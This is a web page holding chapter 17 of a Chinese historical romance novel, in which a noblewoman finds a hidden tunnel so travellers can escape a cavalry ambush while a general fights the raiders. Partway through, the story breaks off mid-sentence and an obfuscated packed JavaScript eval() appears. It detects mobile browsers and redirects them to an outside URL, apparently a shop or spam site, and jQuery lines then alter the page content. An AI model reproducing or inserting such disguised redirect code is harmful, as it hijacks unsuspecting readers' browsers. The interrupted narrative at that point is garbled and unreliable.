17. 围困
作品:《半刹那间八万春》 “女郎可还会头疼?”沉香撤开在妙仪太阳穴揉按的手,上路几日皆是风雨,女郎身子好得不全,一到这种天便喊头疼。
妙仪蹙着眉,此番瘴气虽治好,可她却明显觉得身体受创,愈发不如从前,“按了这么久,你也累了,歇歇吧。”
“奴婢不累。”沉香叹了口气,“只是怜惜女郎身子还未好全,便又要舟车劳顿。”
“阿兄在前线浴血奋战,只怕比我苦上百倍,这点折腾算得了什么呢……”妙仪往后一靠,阖了双眼,丹蕊与沉香便知,女郎这是又牵挂郎君了,马车里一时寂寂。
铅灰色的云压得极低,队伍刚行至一处名为黑石谷的隘口,忽闻一阵急促的马蹄声自后方席卷而来,伴着一阵高过一阵的呼喝声,尖锐刺耳,惊得林间栖鸟乱飞。
“你们可有听见响动?”妙仪微微坐直身子,凝神听道。
丹蕊掀开帘幕,却见旁边的马车也都掀起了帘子往外头张望。
“是胡骑!是胡骑追来了!”
不知是谁在队伍中慌乱地喊了一声,原本还算齐整的队伍瞬间乱作一团。
南迁的世家子弟大多手无缚鸡之力,平日里只知清谈诗赋,此刻吓得面无人色,纷纷往马车里钻。
女眷们更不必说,胆子小些的已经在暗自垂泪,胆子大些的已经摸出些趁手的兵器作防身之用。
仆从们更是两股战战,慌慌张张地四处逃窜,却被两侧陡峭的山壁逼得无路可退,车马相撞,乱成一片。
胡骑黑压压的一片足有百余人,个个身披兽皮厚甲,手持弯刀,□□的战马喷着白气,将山谷出口堵得严严实实。
为首的胡将面容粗犷,脸上一道刀疤从额角延伸至下颌,他勒住马缰,弯刀直指人群,用生硬的汉话嘶吼:“全都从马车上滚下来,跪在地上!本将饶你们一条贱命!”
“跪什么跪?!”混乱中,谢昶的声音如一道惊雷劈开嘈杂:“所有人都退到马车后!鹰扬军列阵!”
他纵马穿过人群,单枪匹马地挡在了胡骑面前,旋即勒马回身,玄色披风在风中猎猎作响,衬得他身姿挺拔如松。
话音未落,他已拔剑出鞘,长剑在暮色中闪过一道冷冽的光,□□的高头大马不停地喷着鼻息,前蹄摩擦着地面。
伏兵虽人数众多,可鹰扬军也不是吃素的,见异变陡生迅速列阵,手持长剑,与胡骑遥遥对峙,肃杀之气瞬间在山谷弥漫开来。
只不过谢昶身后还有太多手无寸铁之人,真的斗起来死伤只怕惨重。
妙仪的车驾正停在队伍中间,她伸手掀开车帘打量一圈暗道不妙,这黑石谷易进难出,两侧山壁陡峭,根本无处可逃。
若是身后还跟着他们这么一群拖油瓶,哪怕是神武如谢昶也难以保证人人全身而退。
“女郎!”丹蕊与沉香上前意图将她挡在身后,“不必害怕,奴婢们就是拼了这条命也会护女郎周全。”
妙仪没有应声,她身子弱,家里未让她习武,帮不上谢昶什么忙,唯一能用的或许只有她的脑子。
若她能够为这些手无寸铁的平民寻一条退路,或许能够解决谢昶的后顾之忧。
“我想下去。”妙仪取过披风,兀自系上,起身掀帘就要下马车。
沉香急了,“女郎不可!”
丹蕊扯了扯她的袖子,低声道,“女郎向来不做没把握的事,更不会傻傻让自己陷入险境,咱们只管在周边护好女郎便是。”
沉香咬咬牙,随着丹蕊跟了出去。
妙仪从马车后头绕行,三人的身影恰好被前方并驾齐驱的两辆马车遮挡得严严实实,胡骑的呼喝声震得人耳膜发疼,她靠近西侧山壁,碰运气般地伸手抚摸着石壁。
阿兄每次行军返家都会与她分享些轶事,犹记得有一回阿兄曾说过,在殷江以南的密林深山中常有在山壁开凿通道以避凶兽或过夜躲雨之习。
尤其是黑石谷这样猎户狩猎之宝地,碰见山壁内道的概率比其他地方大上许多。
三人绕着隐蔽处的山壁摸了一圈,却一无所获。
眼看着两军间的气氛越发剑拔弩张,丹蕊低声开口劝道,“女郎,咱们还是回马车上吧,若是一会当真打起来,好歹有个躲的地方。”
妙仪烦躁地拧眉,或许此地当真没有通路?又或者阿兄只是随口一说?
她有些沮丧,正欲随两人躲回马车上,忽而眼角瞥向马车侧面的一处自然开裂的山壁。
山裂凹陷四周的枯草,并非自然如此,而是呈倒伏状向两侧撇开,像是常年有人进出压弯倒伏而成。
妙仪心头一动。
这枯草倒伏的走向,也绝非风霜雨雪所能为,定是有人频繁出入,才踩出了这样的痕迹。这山壁之内,定然藏着通路。
她撒开沉香的手,小跑上前抬起绣鞋将倒伏的草往两边掰开,往前探了探,并未触到壁。
她不再犹豫,转头道:“西侧山壁下有通路,咱们留在这只会给小将军拖后腿,若是信任妙仪,便先撒了行囊随我到洞里暂避。”
乱作一团的人群霎时静了一瞬,有人惊疑,有人觉得死马当活马医,立刻聚了过去。
“这王家女郎莫不是慌了神眼花了,这山壁陡峭,哪来的通路?”一个世家子弟颤声喊道。
“西侧山壁下,有猎户凿出的暗渠,随我去扒开杂草枯枝,便能逃生,信我者随我走,若是不信,尽管留在这里。”
王氏女的名声响亮,在这群士族中颇有威望。
众人于是纷纷往西侧涌来,妙仪转身指着山崖石壁的那处凹陷:“就是这里,诸位扒开枯草残枝便可看见。”
大家连忙七手八脚地扒开枯草,厚厚的杂草堆后果然露出一片被乱石与枯藤掩盖的洞口,黑黢黢的,透着潮湿的泥土气息,堪堪容一人通过。
“真的有暗道!”有人失声惊呼,喜极而泣。
胡骑见到这的动静,眼看到嘴的鸭子就这么飞了,当下就急了眼,“放箭!”
谢昶回头一扫,见妙仪有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182590|195183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
条不紊地指挥众人撤离,惊诧之余,原本悬着的心瞬间落定,众人既已寻到出路,他再无后顾之忧。
“杀!”谢昶一声怒吼,扯得骏马扬蹄长嘶,一个猛扎直接扑入胡骑中,瞬间打乱了他们射箭的动作。
披风翻飞如墨,剑光如一道寒电,直取胡骑前锋,没了顾虑的谢昶剑势愈发凌厉,可谓是一步杀一人。
胡骑从北杀到南,一路大捷志得意满,哪里遇见过这样凶悍的剑法。
那些原本还在叫嚣的胡骑,见身旁人的脑袋挨个咕噜噜滚落在地,好似下一个便会轮到自己,士气顿时泄了大半,阵型也乱了几分。
鹰扬军士气大振,盾阵如山,长剑如林,硬生生将胡骑的攻势逼退数丈。
谢昶得了喘息之机,抽空抬眸望来,便见各世家的车马虽还留在原地,可人早已通过暗道撤离到了安全的地方。
他无意纠缠,剑法凌厉果断,侥幸存活的几个残兵败将难成气候,狼狈而逃。
这边的暗渠内狭窄湿滑,寒风从缝隙里灌进来,带着泥土的腥气。
众人互相搀扶着,深一脚浅一脚地往前挪。
妙仪走在中间,裙摆被泥泞浸透,却始终侧耳听着身后的动静,“就到这里吧,小将军将他们击退后,便会来寻我们。”
果然不多时,一阵错落的脚步声传来,谢昶带着几名将士,从洞口处摸索着进来。
哪怕是光线昏暗,妙仪依旧能看见他身上添了几处伤口,玄色披风被划破了好几道口子,脸上沾着血污。
他的目光在人群中一扫,很快落在妙仪身上,见她安好,表情松动几分。
妙仪抬头看他,“你受伤了?”
谢昶抹了把脸,看见手背上未干的血迹,“不是我的,不必担心。方才多亏了你,否则我也不好动手,只能与胡骑僵持不下。”
妙仪不敢居功,只递过一块绢帕,“擦擦吧。”
那一方绢帕沾染了药香与少女的体香,矜贵的料子入手恍若无物。
“多谢。”谢昶蜷起手指将它纳入掌心,抬手假意擦了擦,实际染上血污的只有他的袖口。
他握拳咳了声,“外头安全了,大家返回马车,我们准备在天黑前离开此地。”
众人皆是松了口气,纷纷往外头走去。
妙仪走在最后边,她身子弱步子自然也慢些。只是不知道谢昶为何也走得如此之慢,甚至比她们三人要慢上几步,不过如此倒也颇觉安心。
就这么走了一会,妙仪的脚步就有些虚浮起来,身子微微晃了晃,连日的奔波与方才的高度紧张,让她再也撑不住晕了过去。
沉香与丹蕊一时拉扯不住,眼看着人就要栽到地上,好在后头的谢昶眼疾手快,伸手扶住她的胳膊,她的后背恰好靠上他的前胸。
手上传来的重量很轻,骨架仿佛没有分量似的,谢昶沉默地将她揽腰抱起,“天马上就要黑了,我抱着走更快些,沉香你去喊费恩。”
沉香立刻小跑着出去了。

